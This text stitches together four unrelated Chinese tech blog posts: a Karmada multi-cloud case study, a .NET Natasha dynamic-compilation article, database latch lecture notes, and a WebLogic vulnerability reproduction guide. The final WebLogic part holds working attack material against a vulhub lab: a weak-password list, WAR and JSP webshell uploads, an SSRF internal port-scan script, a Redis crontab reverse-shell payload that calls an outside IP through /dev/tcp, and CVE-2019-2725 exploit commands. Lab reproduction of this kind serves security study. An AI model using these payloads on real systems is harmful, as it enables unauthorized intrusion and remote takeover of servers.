2024年11月

本文分享自
来源:
《华为云DTSE》第五期开源专刊
,作者:任洪彩 华为云高级软件工程师,Karmada社区Maintainer。

管理和协调跨多个云平台的容器化应用是当前企业面临的复杂性挑战之一,Karmada多云容器编排技术使得用户能够像操作单一集群一样轻松管理多集群,简化了多云环境的运维复杂度,加速分布式云原生应用升级。

行业背景

随着云计算技术的飞速发展,企业对于云基础设施的需求日益多样化,多云策略成为了众多企业的首选。多云环境不仅能够提高业务的灵活性和可用性,还能有效降低对单一云服务商的依赖风险。根据最新的调查报告显示,超过87%的企业正在使用多个云厂商的服务,然而,随之而来的是管理和协调跨多个云平台的容器化应用的复杂性挑战。

业界流行的容器编排工具Kubernetes(简称K8s),虽然在单一集群内展现了强大的资源管理和自动化部署能力,但在面对多云场景时,其跨集群的资源调度、统一管理以及数据一致性等问题成为了亟待解决的痛点。

现阶段,云原生多云多集群业务的编排面临着诸多挑战:

  1. 集群繁多的重复劳动:运维工程师需要应对繁琐的集群配置、不同云厂商集群间的管理差异以及碎片化的API访问入口等问题。

  2. 业务过度分散的维护难题:应用在各集群的差异化配置繁琐;业务跨云访问以及集群间的应用同步难以管理。

  3. 集群的边界限制:应用的可用性受限于集群;资源调度、弹性伸缩受限于集群。

  4. 厂商绑定:业务部署的黏性问题,缺少自动化故障迁移;缺少中立的开源多云容器编排项目。

Karmada多云容器编排引擎,
简化多云环境管理复杂度

为了解决上述挑战,华为于2021年正式推出了开源项目Karmada,旨在打造一个云原生的多云容器编排平台。Karmada(Kubernetes Armada,舰队之意)继承并超越了社区Federation v1和v2(kubefed)的设计理念,它不是简单地在不同集群间复制资源,而是通过一套全新的API和控制面组件,实现了在保持Kubernetes原有资源定义API不变的前提下,无缝地在多云环境中部署和管理分布式工作负载。

Karmada提供了一个全局的控制面板,使得用户能够像操作单一集群一样管理多云上的Kubernetes集群,简化了多云环境的运维复杂度,引入了高级的跨集群调度策略,根据资源需求、成本、合规性等因素,自动将工作负载优化部署到最适合的云平台或区域。通过分布式数据管理和同步机制,确保多云间的数据和配置一致性,降低了数据管理的复杂度。

实践案例:Karmada在工业智能检测领域的应用

工业智能检测领域亟需标准化智能检测提升效率

在液晶面板生产领域,由于多种因素,产品常出现不良品。为此,关键工艺节点后引入了自动光学检测(AOI)设备,通过光学原理检测常见缺陷。然而,现有 AOI 设备仅识别缺陷有无,需要人工分类和识别缺陷,这一过程耗时且影响生产效率。数之联的客户企业,
某面板龙头企业
,引入自动缺陷分类系统(ADC)以提高判定准确性并减轻劳动强度,使用深度学习技术自动分类 AOI 输出的缺陷图片,并筛除误判,从而提高生产效率。

客户企业率先在一个工厂引入 ADC,后续在其他工厂推广,节省人力资源,提高判定效率。尽管如此,由于工艺复杂和供应商差异,现场建设呈现出割裂和分散管理的趋势,给数据共享和运维带来困难。为解决这些问题,客户企业启动了工业智能检测平台的建设,该平台利用人工智能技术,实现标准化智能检测并提高生产效率和良率。

工业智能检测平台

工业智能检测平台将 ADC 作为核心,扩展至模型训练和检测复判,实现“云”(管理+训练)+“边”(推理)+“端”(业务)的一体化方案,旨在通过标准化平台提高生产质量和数据价值。建设范围包括资源共享中心、现地训练和边侧推理等子平台,将在若干工厂实施。

工业智能检测平台架构图

项目目标是实现现地 ADC 上线、资源共享和云边端标准化,以减轻运维负荷、提升标准。工业智能检测平台旨在通过规范化和标准化客户企业全集团的 ADC 系统,为后续 ADC 建设提供样本和模板,降低成本和周期,提高生产和质检效率以及产品良率。平台包含系统管理员、资源配置员等用户角色,并涉及 ADC 推理、模型训练、数据共享等信息流,以及云端协同功能,确保 ADC 的自动缺陷分类生产过程,并提高模型和缺陷图片的利用率。

结合Karmada多集群管理构建解决方案

一、集群管理:多地域集群统一纳管

不同地域的 K8s 集群注册至中心云系统,中心云系统对多个现地的集群进行管理。

二、应用管理:全局统一部署、监控

通过 Karmada提供的集群统一访问能力,用户在中心云实现可视化大屏等需要聚合成员集群的数据的功能。

1、集群监控

针对在线的集群,中心云系统可对内存、CPU、磁盘、网络流入流出速率、GPU、日志等指标进行监控数据展示,并可切换集群进行数据查看。

资源监控

中心云可以看到和训练云相同的监控,通过 Karmada 聚合层 API 由集群的 Java 程序对 PromQL 封装后提供给前端页面。

2、中心云数据下发

用户在中心云上传的数据,可自由选择下发至指定现地,包括数据集、标注、算子工程、算子镜像以及模型等。

数据集、算子工程、模型,通常是文件,在完成传输后,会保存到本地或NAS等存储中。标注,通常是结构化数据,在完成传输后,会保存到 DB 中。算子镜像,一般导出为 tar 包,在完成传输后,会推送到当前集群的 harbor 中。 中心云除了 Karmada 的控制面以外,也带有自己的业务 K8s 集群,也包括存储,因此可以作为一个中转器。以上均通过 Karmada 的聚合层 API 来调用我们提供的文件上传到 svc,实现了集群和集群之间的调用。

3、跨现地训练

针对某现地训练资源不足的情况下,可通过申请其他现地资源的方式,进行跨现地训练。该功能实现方式为将 A 现地训练所需要的数据集、标注、算子工程、算子镜像等数据发送至 B 现地,通过 B 现地的资源进行训练。再将训练好的模型返回给 A 现地。

原理和中心云数据下发类似,任务所需的数据会直接发送到对应集群,体现了成员集群和成员集群之间的调用关系。

4、可视化大屏

根据中心云注册的现地,统计不同现地的各类指标数据进行大屏展示。在这类大屏中展示实时数据的时候,通过 Karmada 聚合层 API,我们可以方便地直接调用成员集群的 svc,而无需让所有的数据显示都走大数据的离线分析、实时分析,提供更高的时效性。

总结展望

Karmada项目自2021年开源并加入云原生计算基金会(CNCF)成为沙箱项目以来,已经取得了显著的发展与认可。项目于2023年底正式晋升为CNCF的孵化级别项目。这一成就标志着Karmada技术生态获得全球业界的广泛认可,进一步巩固了其在分布式云原生技术领域的领先地位。该项目凭借其创新的多云多集群容器编排能力,已被全球范围内超过30家知名企业所采纳用于构建企业级云原生平台。

Karmada的出现,为多云时代的企业提供了一个强大且灵活的容器编排解决方案,它不仅解决了多云管理的痛点,还为企业在云原生旅程中探索更广阔的应用场景提供了坚实的技术支撑。随着云原生技术的不断演进,Karmada有望成为连接和简化多云生态的关键力量,助力企业释放云的全部潜能,加速数字化转型的进程。

点击关注,第一时间了解华为云新鲜技术~

前言

本篇文章前面客观评估了 .NET 创建动态方方案多个方面的优劣,后半部分是
Natasha V9
的新版特性。

.NET 中创建动态方法的方案

创建动态方法的不同选择

以下陈列了几种创建动态方法的方案:以下示例输入为 value, 输出为 Math.Floor(value/0.3):

emit 版本

 DynamicMethod dynamicMethod = new DynamicMethod("FloorDivMethod", typeof(double), new Type[] { typeof(double) }, typeof(Program).Module);
 ILGenerator ilGenerator = dynamicMethod.GetILGenerator();

 ilGenerator.Emit(OpCodes.Ldarg_0);  
 ilGenerator.Emit(OpCodes.Ldc_R8, 0.3);  
 ilGenerator.Emit(OpCodes.Div);  
 ilGenerator.Emit(OpCodes.Call, typeof(Math).GetMethod("Floor", new Type[] { typeof(double) }));  
 ilGenerator.Emit(OpCodes.Ret); 

 Func<double, double> floorDivMethod = (Func<double, double>)dynamicMethod.CreateDelegate(typeof(Func<double, double>));

表达式树版本

 ParameterExpression valueParameter = Expression.Parameter(typeof(double), "value");

 Expression divisionExpression = Expression.Divide(valueParameter, Expression.Constant(0.3));
 Expression floorExpression = Expression.Call(typeof(Math), "Floor", null, divisionExpression);
 Expression<Func<double, double>> expression = Expression.Lambda<Func<double, double>>(floorExpression, valueParameter);

 Func<double, double> floorDivMethod = expression.Compile();

Natasha 版本

AssemblyCSharpBuilder builder = new();
var func = builder
    .UseRandomLoadContext()
    .UseSimpleMode()
    .ConfigLoadContext(ctx => ctx
        .AddReferenceAndUsingCode(typeof(Math))
        .AddReferenceAndUsingCode(typeof(double)))
    .Add("public static class A{ public static double Invoke(double value){ return Math.Floor(value/0.3);  }}")
    .GetAssembly()
    .GetDelegateFromShortName<Func<double, double>>("A", "Invoke");

Natasha 方法模板封装版

该扩展库
DotNetCore.Natasha.CSharp.Extension.MethodCreator
在原 Natasha 基础上封装,并在 Natasha v9.0 版本后发布。

  1. 轻量化构建方案:
var simpleFunc = "return Math.Floor(arg1/0.3);"
    .WithMetadata(typeof(Math))
    .WithMetadata(typeof(Console)) //如果报 object 未定义, 加上
    .ToFunc<double, double>();
  1. 智能构建方案:
var smartFunc = "return Math.Floor(arg1/0.3);".ToFunc<double, double>();

方案对比与分析

时由此可以看出,无论哪种动态构建,都无法挣脱
typeof(Math)
的束缚,甚至需要反射更多的元数据。

元数据在动态方法创建中是必不可少的结构,既然大家都依赖元数据,不妨做一个对比;

方案名称 编码形式 Using 管理 内存占用 卸载功能 构建速度 执行性能 断点调试 学习成本
Emit 繁琐 不需要 .NET9 可卸载 .NET9 支持
Expression 一般 不需要 .NET9 可卸载 .NET9 支持
Natasha 一般 需要 可卸载 首次慢 支持
Natasha Method 简单 需要 可卸载 首次慢 支持

场景

首先从场景角度来说,Emit / Expression 方案在 .NET 生态建设中扮演了非常重要的角色,也是不少高性能类库的主要核心技术栈。而 Roslyn 的动态编译技术从初期到完成,走的是一个全面的编译流程,Natasha 是基于 Roslyn 的。虽然我是 Natasha 作者,但我还是建议,小打小闹,使用表达式树。而那些比较复杂的动态业务、动态框架、动态类库使用 Natasha 更加舒适。举几个例子,比如规则引擎, Natasha 不是规则引擎,但你可以用 Natasha 来定制一个符合你操作习惯的规则引擎。再比如对象映射, Natasha 不是对象映射库,但你可以用 Natasha 来定制一个符合你操作习惯的对象映射库; 如果你觉得市面上的 ORM 用着都不顺手,当然可以用 Natasha 来定制一款自己喜欢的 ORM.

编码形式程与 Using 管理

从编码过程来说,Emit 是比较繁琐的,从编码思维上来讲,Emit 属于“栈式编程”,数据的操作顺序后进先出,与平常使用的 C# 关键字不同,它更趋近于底层的指令,你不会看到 if/switch/while 等操作,而是 Label 和一些跳转指令,为此你也无法享受到正常编译所带来的便捷,甚至需要还原一些操作,比如 "str1" == "str2" 实际上要换成 Equal() 方法。
而表达式树相比 Emit 就要舒服一点了,然而这也不是正儿八经的 C# 编程思维, 仍然还是需要经过加工处理的,如果你非常享受这种转换过程,并能从中获得成就感或者其他感觉,那无可厚非,它适合你。我想大多数人是因为没有办法才选择动态方案,无论哪种,能从中获得愉快感觉的开发者并不会很多。
相比前两者,Natasha 需要注意的是 “域” 操作和 Using 引用,有了 “域” 更加方便隔离程序集和卸载,如果你的动态代码创建的程序集永远都是有用的,使用默认域即可。反之那些需要卸载或更新的动态功能,就得选择一个非默认域了。
除卸载之外,另一个参与动态构建过程的就是 Using ,因为 Using 代码是 C# 脚本必不可少的一环,因此以 C# 脚本方式构建动态功能需要考虑到
using System;
这类代码. 而 Using 中遇到的最大的问题是二义性引用 (CS0104) 问题:
假设有
namespace MyFile{ public static class File{} }
在 VS 里开启隐式
<ImplicitUsings>enable</ImplicitUsings>
后引用它你会发现错误,表面原因是
MyFile

System.IO
命名空间冲突了,实际原因是这两个命名空间都有 File 相关的元数据,而语义分析不会对后续代码功能进行推断你到底想使用哪个 File, 这种情况在复杂的编程环境下或许会出现,不可避免只能发现和改正。

一旦发生这种情况,您需要排除不想引用的 Using.

//排除 System.IO
builder.AppendExceptUsings("System.IO");

我们继续看第四种,基于 Natasha 封装的动态方法构建,非常的简单,其中:

  • 轻量化构建写法是按需引用元数据编译成委托。
  • 智能构建写法是直接在元数据和 using 全覆盖的情况下编译成委托,该写法的前提是预热了元数据和 Using 集合,详情可以看 Natasha 预热相关的方法。

内存占用

前二者的编译占用系统内存很少,毕竟是直接一步到位的做法,少了很多分析转换缓存的过程。可以这么理解,前二者是 Roslyn 编译中的一环。

卸载功能

后文 Natasha 的"域"均用 AssemblyLoadContext(ALC) 代替。

限定在本文4种编码案例范围内,目前我还没看到过关于 直接卸载 Emit/表达式树 创建的动态方法相关的文章。
但 .NET9 推出的 PersistedAssemblyBuilder 将允许编译 Emit 并输出流到 ALC 中。

PersistedAssemblyBuilder ab = ....;
using var stream = new MemoryStream();
ab.Save(stream);

NatashaDomain domain = new("MyDomain");
var newAssembly = domain.LoadFromStream(stream);

虽然 .NET9 支持保存程序集了,但 ALC 的卸载功能有点难搞,.NET 官方对 ALC 的卸载操作几乎是无能为力的,从理论上来讲只要你的类在使用中,这个类就无法被卸载,这种情况很多,一个静态泛型类,或一个全局事件,或被编译到某个不被清理的方法中,又不提供清理方法,他们就会成为程序的僵尸类型。官方没有办法强制对正在使用的数据做些什么强制处理。假如我的程序有 60 个依赖项,我需要找到这些依赖项的作者,也许作者不止 60 个,然后一一询问他们:请问您的库如何能够清除保存在您这里的 ALC 创建的元数据?然后附上一些调试证据,告诉他,在 2 代 GC 中发现了大量无法被释放的元数据,这些元数据与你的 XXX 有关。读到这里你觉得非常难办,甚至有点荒谬,没错,就是这样,也只能这样。所以我在制作 HotExector 的过程中也不断的思考和实验整域代理以屏蔽域外引用的干扰。
话说回来如果是自己封装的框架,那么这个卸载的问题是会很好解决,因为你知道什么东西该清理,什么字段该置空。

构建速度

与内存占用说明类似,一个完整的编译过程肯定要比其中一环占用的时间长,况且 Roslyn 内部还会缓存和预热一些数据。首次编译后,编译速度就会非常的快。

执行性能

如果被编译的 Emit 代码逻辑能够和 Roslyn 内部优化后的脚本逻辑一样,那么执行性能理论上是持平的。例如在多条 if 或 switch 的数值查找逻辑中,Roslyn 可能会对这些查找分支进行优化,比如使用二分查找树代替原有的查找逻辑,如果你想不到这些优化点, Emit 代码的性能只能依靠后续 JIT 的持续优化来提高了,因为考虑到 JIT 后续的优化可能会让它们都达到最优结果,因此都给了 “高”。而二者的区别开发者应该了解,相比 Emit 原生编程,Roslyn 编译的 Emit 逻辑更加优秀和高性能。

断点调试

Natasha 自 V8 版本起开始支持脚本断点调试,V9 版本升级了不同平台、不同 PDB 输出方式的兼容性优化, Natasha 编译框架支持 .netstd2.0。
而 Emit 也迎来的自己的调试方案,上文提到 .NET9 的 PersistedAssemblyBuilder,通过使用该类的
GenerateMetadata
方法来生成元数据流,进而创建
PortablePdbBuilder
调试数据实例,然后转化为
Blob
(BlobBuilder),最后写入 PDB 流. 有了 PDB 文件, Debug 断点调试将变得可行。

Natasha 以及动态方法模板的优势

套娃编译

使用 Natasha 可以进行套娃编译,使用动态编译进行动态编译,这种逻辑很复杂,举个简单的例子,假如需求是生成动态类型 A,在 A 的静态初始化方法中生成一个动态委托 B, 而且 B 的部分逻辑是根据动态类型 C 和 D 所接受到的数据决定的。这在表达式树和 Emit 的编码思维中,可能对数据和类型做一个中转处理,而且在编译过程中要用到
还没有被编译的 A 的成员元数据
,这里很绕。这种情况我更推荐使用 Natasha ,因为是考虑到学习成本和时间成本,按照正常思维 5 分钟编写完脚本,为啥还要用 20 分钟甚至 1 小时去找解决方案,设计缓存,定制运行时强编码规则呢?

私有成员

很多开发者应该都有读源码的习惯,甚至在高性能场景会对源码进行魔改和定制,部分开发者有 200% 的信心保证他们获取的私有实例和方法不会在程序中被乱用,这里就会遇到一些问题,重新定制源码,或者使用未开放的实例方法会遇到访问权限的问题。节省时间和篇幅直接上例子:

已知在支持热重载的 MVC 框架中,有
IControllerPropertyActivator / IModelMetadataProvider
两个服务实例,它们提供了私有方法
ClearCache
方法清除元数据缓存的接口,但
IControllerPropertyActivator
接口由于访问限制,写代码时 IDE 会报错,事已至此,运行时要拿到
IControllerPropertyActivator
接口类型只能先获取它的实例然后通过反射获取类型,而这里的操作就是矛盾的操作,如果我不知道哪个类型实现了该接口,或者说实现接口的类型也是个 private 级别,那么我又该如何获取到实例.

Natasha V9 版以前需要自己定制开放私有操作,我们看一下 V9 更新后的操作:

//打开私有编译开关
builder.WithPrivateAccess();
//改写脚本
builder.Add(script.ToAccessPrivateTree("Microsoft.AspNetCore.Mvc.ModelBinding","Microsoft.AspNetCore.Mvc.ModelBinding.Metadata"));
//或
builder.Add(script.ToAccessPrivateTree(typeof(IModelMetadataProvider),"Microsoft.AspNetCore.Mvc.ModelBinding.Metadata"));
//或
builder.Add(script.ToAccessPrivateTree(instance1,instance2...));

开启以上选项,Natasha 将重写语法树以支持私有操作。最终脚本无需任何处理,一气呵成,以下是使用 Natasha 绕过了访问检查的脚本案例:

//该脚本如果在 IDE 中会有访问权限问题
var modelMetadataProvider = app.Services.GetService<IModelMetadataProvider>();
var controllerActivatorProvider = app.Services.GetService<IControllerPropertyActivator>();
((DefaultModelMetadataProvider)modelMetadataProvider).ClearCache();
((DefaultControllerPropertyActivator)controllerActivatorProvider).ClearCache();

安全相关

有人说使用脚本会导致安全问题,我觉得这种说法太过片面,不应该把人为因素强加到某个类库中,Natasha 不会自行的为应用程序提供后门漏洞,任何上传的文本和图片都需要有严格的审核,包括上传的脚本,即便没有非法的网络请求代码,占用资源,数据安全等问题的代码也要进行严格排查。对于需要大量动态脚本的支持的服务,服务应该严格限制元数据和规范功能脚本粒度。

Natasha V9 新版变化

项目主页:
https://github.com/dotnetcore/Natasha

链式初始化 API

为了让初始化更容易懂,在新版本中增加了一组链式操作的 API.
此组 API 更容易控制 Natasha 的初始化行为。

NatashaManagement
    .GetInitializer()
    .WithMemoryUsing() //不写这句, Natasha 将不会扫描和预存内存中的 UsingCode. 
    .WithMemoryReference()
    .Preheating<NatashaDomainCreator>();

注:在使用智能模式时,预热 Using 和 Reference 是必要的,除非你能很好的管理这些。

更灵活的元数据管理

  • 自 v9 版本起,简单模式(自管理元数据模式)支持单独添加元数据,单独添加 using code, 而不是 引用和using 一起添加。
  • 编译单元允许添加排除 using code 集合,
    builder.AppendExceptUsings("System.IO","MyNamespace",....)
    , 该方法将防止指定的 using 被添加到语法树中.

外部异常获取

  • 增强错误提示,引发编译异常时,将首先抛出错误级别的异常,而不是警告。
  • 增加 “GetException” API, 在 Natasha 编译周期外,获取异常错误。

重复编译

V9 版本在重复编译方面做了一些增强,进一步增加复用性和灵活性。

1. 重复的文件输出

  • WithForceCleanOutput 该 API 使用后将开启 强制清除文件 开关,以避免在重复编译时产生 IO 方面的错误。
  • WithoutForceCleanOutput 是默认使用的 API, 此时遇到重复文件,Natasha 将自动改名到新文件中, oldname 被替换成 repeate.guid.oldname.

2. 重复的编译选项

  • WithPreCompilationOptions 该 API 开启后,将复用上一次的生成的编译选项(若没有则生成新的),该编译选项对应着 CSharpCompilationOptions 相关参数, 如果第二次编译需要切换 debug/release,unsafe/nullable 等选项,请关闭该选项。
  • WithoutPreCompilationOptions 是默认使用的 API, 该 API 不会锁定 CompilationOptions,保证每次编译都是最新的。

3. 重复的引用

  • WithPreCompilationReferences 该 API 开启后,将复用上一次的元数据引用集。
  • WithoutPreCompilationReferences 是默认使用的 API。
  • 新版本中增强了对 “引用API” 的注释,让其行为更加容易被看懂。321,
    上链接

4. 私有脚本支持

在使用前需要在工程中加上 IgnoresAccessChecksToAttribute.cs 文件

namespace System.Runtime.CompilerServices
{
    [AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]
    public class IgnoresAccessChecksToAttribute : Attribute
    {
        public IgnoresAccessChecksToAttribute(string assemblyName)
        {
            AssemblyName = assemblyName;
        }
        public string AssemblyName { get; }
    }
}
//给当前脚本增加私有注解(标签)
//privateObjects 可以是私有实例,可以是私有类型,也可以是命名空间字符串
classScript = classScript.ToAccessPrivateTree(privateObjects)

builder
.WithPrivateAccess() //编译单元开启私有元数据支持
.Add(classScript );

5.编译优化级别

注意:使用动态调试前,请先在工具-选项-调试中关闭[地址级调试]。

Natasha v9 对编译优化级别做了细化:

//普通 Debug 模式
WithDebugCompile(item=>item.ForCore()/ForStandard()/ForAssembly())
//加强 Debug 模式
WithDebugPlusCompile(item=>item.ForCore()/ForStandard()/ForAssembly())
//普通 Release 模式
WithReleaseCompile()
//加强 Release 模式
WithReleasePlusCompile()

理论上的加强模式可以理解为“刨根问底,全部显现”模式,虽然普通的模式就已经足够用,但这个模式可以更细粒度的输出调试信息,包括一些隐式的转换。
注:实验中没有看到更为细致的调试结果,有经验的同志可以告知我哪些代码可以呈现出更细腻的结果。

6. 其他 API

  • 新版本对 API 的注释进行了大量中文重写,小伙伴们可以看到更接地气,容易懂的注释,由于编译单元 (AssemblyCSharpBuilder) 多采用状态方式保存用户配置,因此在 API 上还简单增加了复用方面的说明。
  • 熟知的
    UseDefaultDomain()
    已过时,更符合 API 本意的
    UseDefaultLoadContext()
    名称更为合适, Domain 系列已经不能成为编译单元的前沿 API, 从 V9 版本起 LoadContext 系列将取而代之。
  • 增加
    CompileWithoutAssembly
    API, 允许开发者在编译后不向域中注入程序集,程序将不实装编译后的程序集。

结尾

之前以为自己入了 Roslyn 的冰山一角,没想到只是浮冰一块。

谢谢俞佬在文档上的支持。

码字不易,感谢看完,多谢点赞。

Overview

Lock和Latch辨析

  • Lock
    :抽象的,逻辑的,整体统筹
  • Latch
    :具体的,原语性的,自我管理

本节主要探讨
Latch

image-20241114092741280

设计目标

  • 内存占用少,无竞态时执行迅速
  • 等待时间过长时取消调度

大致分类

  1. 自旋锁(Test-and-Set Spin Latch)
  2. 阻塞互斥锁(Blocking OS Mutex)
  3. 读写锁(Reader-Writer Latches)
特性 Test-and-Set Spinlock Blocking OS Mutex Reader-Writer Locks
实现 基于原子操作的自旋等待 操作系统级阻塞 允许多读单写
锁争用时的处理 自旋等待,消耗 CPU 阻塞等待,减少 CPU 消耗 读操作可以并发,写操作排他
适用场景 短期锁、轻度锁争用 长期锁、重度锁争用 读多写少
优点 无上下文切换,性能高 避免自旋消耗,适合长时间等待 读写并发,适合读多写少
缺点 CPU 资源消耗高,锁持有时间长时效率低 上下文切换开销较高 写者饥饿问题

image-20241114094213574

C++中的mutex -> pthread -> Linux futex(fast user mutex):先在用户空间用自旋锁,如果获取不到锁,陷入内核态调用阻塞锁进入阻塞队列。

image-20241114095322180

image-20241114095559863

Hash Table Latches

两种粒度:Page Latches和Slot Latches

Page Latches

image
image
image
image
  • T1给page1上读锁,T2等待(如左上图)
  • T1查看page2无读锁,给page2上读锁,释放page1读锁;T2访问page1,上写锁(如右上图)
  • T2访问page2,但由于有T1读锁,等待(如左下图)
  • T1释放page2读锁,T2结束等待,给page2上写锁,写入
    E|val
    (如右下图)

Slot Latches

整体过程和Page Latches类似,只不过粒度变了。

image
image
image
image
  • T1给Slot A上读锁,T2给Slot C上写锁
  • T1访问Slot C,但是由于有T2的写锁,释放Slot A写锁,在C等待(如左上图)
  • T2访问Slot D,释放Slot C写锁,给Slot D上写锁;T1可以访问Slot C,上读锁(如右上图)
  • 重复上述两个步骤(左下图和右下图)

B+Tree Latches

并发问题

相比于哈希表,B+树并发的难点在于树的结构会发生分裂或合并。

image
image
image
image
  • T1找到了需要删除的值44(如左上图)
  • 删除了值44,此时需要偷(steal)左兄弟的值41进行合并,保证叶子结点半满,但是T1被调度,进入休眠(如右上图)
  • T2找到了需要删除的值41,准备读取值41,但是此时T2被调度,进入休眠(如左下图)
  • T1唤醒,进行结点合并,41移动到了新的位置
  • T2被唤醒,读取41,但是数据已经被移动(如右下图)

Latch Crabbing/Couping

具体步骤:

  • 得到父结点的锁
  • 得到子结点的锁
  • 如果子结点是安全的,释放之前的锁,否则不释放
  • 安全的定义:
    • 对于查询:不做要求
    • 对于插入:不满
    • 对于删除:多于半满

例:查询

image
image
image
image

例:删除

image
image
image
image

例:插入

image
image

Optimistic Coupling(乐观锁)

观察:在插入和删除操作中,都会给根结点上写锁,造成系统在根结点处是串行的,有性能瓶颈。

实际上一个页存储一个结点,页大小很大,大多数时候不需要结点分裂,删除时结点也可以延迟合并,说明B+树结构大多数时候不会变化,上写锁的代价太大。

基本思想:上读锁,发现冲突后重新上写锁。

步骤:

  • 查询:不变
  • 插入/删除:
    • 和查询一样,在路径上加读锁,到达叶子结点后加写锁
    • 如果叶子结点不安全,重做;否则直接执行相关操作
image
image
image
image

Leaf Node Scan

叶子结点扫描顺序:

  • 垂直方向:自顶向底
  • 水平方向:没有限制

扫描方向冲突:

  1. 水平扫描方向不一致导致冲突
  2. 水平扫描和垂直扫描冲突

水平扫描方向不一致:读锁没有冲突,互换读锁即可。

image-20241114113049848

水平扫描方向不一致:带写锁时会有冲突,选择自我终结。

image-20241114113141531

为什么选择自我终结:根本原因是latch是低级原语,不涉及全局信息,唯一知道的只有自己的信息,所以选择自我终结。

  • 涉及到读写磁盘,等待时间不定
  • 不知道其他进程进行到什么程度,也不知道其他进程是什么状况

为什么水平方向不能强制一个方向扫描:影响效率,在数据规模变大时更为明显。
比如where子句是
where id > 100000
,如果强制从左到右,得扫描100000条数据

水平扫描和垂直扫描方向不一致:

垂直到达叶子结点的操作,在遇到水平进行的操作时,同样会遇到上述问题,处理方式也相同。

weblogic历史漏洞

是什么?

weblogic是一个web服务器应用(中间件),和jboss一样都是
javaee中间件
,只能识别java语言,绝大部分漏洞都是
T3反序列化漏洞

常见的中间件还有:Apache,nginx,IIS,tomact,weblogic,jboss等

默认端口:7001
Web界面:Error 404 -- Not Found
控制后台:http://ip:7001/console

漏洞复现

1.弱口令+上传war包

环境:/vulhub/weblogic/weak_password

# 创建
docker-compose up -d
  1. 访问:http://your-ip:7001可以发现weblogic版本为10.4.5

image-20241103191038011

  1. 访问
    http://your-ip:7001/console
    用户名:weblogic/密码:weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
  1. 选择部署 --> 安装 --> 上载文件 --> 上传war包

image-20241103192127353

# 打包成war包
jar -cvf cmd.war cmd.jsp
  1. 最后访问http://your-ip:7001/cmd/cmd.jsp即可,蚁剑连接。

image-20241103222216466

2.CVE-2014-4210(ssrf)

  1. 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径,存在未授权

image-20241104160741266

  1. 在Search by business name中随便输入,bp抓包。

image-20241104160926209

  1. 修改operator参数的值为
    127.0.0.1:7001
    ,发现返回404,因为目标是Weblogic服务,让Weblogic向自己的7001端口发出请求,
    相当于访问your-ip:7001这个页面
    ,页面本身返回404 Not found,说明这里存在SSRF

image-20241104161102650

  1. docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'

docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'

image-20241104164433211

  1. 可以利用ssrf探测内网,改为
    127.22.0.2:6379
    会返回did not have a valid SOAP(说明是非http协议),说明这个ip开放了redis服务

image-20241104163734881

  • 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"

ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]

for i, port in itertools.product(range(1, 255), ports):
	params = dict(
		rdoSearch="name",
		txtSearchname="sdf",
		selfor="Business+location",
		btnSubmit="Search",
		operator=f"http://172.22.0.{i}:{port}",
	)
	with contextlib.suppress(Exception):
		r = requests.get(url, params=params, timeout = 3)
		# print(r.text)
		if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
			print(f'[*] http://172.22.0.{i}:{port}')

image-20241106163711062

  1. 通过反弹shell攻击redis服务
# 目标:172.22.0.2:6379

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

  • 对以上进行URL编码,替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  • 看到成功执行

image-20241106181216357

  • 攻击机监听1234端口即可反弹shell!

CVE-2018-2894(任意文件上传)

	在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
	Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
	影响范围:
		10.3.6.0
		12.1.3.0
		12.2.1.2
		12.2.1.3

如果能访问
/ws_utc/config.do
则存在漏洞

image-20241114115445258

手动利用:
  1. 访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

image-20241114115851192

  1. 点击安全 -- 添加 -- 在Keystore文件处,上传Webshell(jsp木马)

image-20241114120423412

  1. 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

image-20241114120858116

  1. 蚁剑连接成功!

image-20241114120951461

可以看见我们上传的木马,最终保存在

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/

image-20241114121327896

自动化脚本:

https://github.com/LandGrey/CVE-2018-2894

CVE-2019-2725

  • 利用java反序列化进行攻击,可以实现远程代码执行(vulhub靶场对应的是CVE-2017-10271)
  • 影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
  1. 判断:通过访问路径
    /_async/AsyncResponseService
    判断对应组件是否开启

image-20241108135848572

  1. 脚本利用:
# 下载,里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725

# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001 
whoami

# 使用脚本--文件上传
